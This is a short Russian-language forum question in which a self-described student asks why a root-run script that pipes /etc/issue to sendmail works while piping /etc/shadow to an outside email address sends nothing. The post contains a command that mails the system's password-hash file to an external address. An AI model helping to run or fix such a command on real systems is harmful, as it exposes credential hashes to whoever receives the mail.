Заипался ужо. маны вроде учитаны до дыр. Мысли вышли.
Почему строка "cat /etc/issue|sendmail xxx@yyy.domem" работает на ура, а строка "cat /etc/shadow|sendmail xxx@yyy.domen" не присылает содержимое файла с паролями? "cat /etc/shadow" на экран информацию выдаёт. Скриптик пускается от рута.
Не дайте сгинуть студенту :(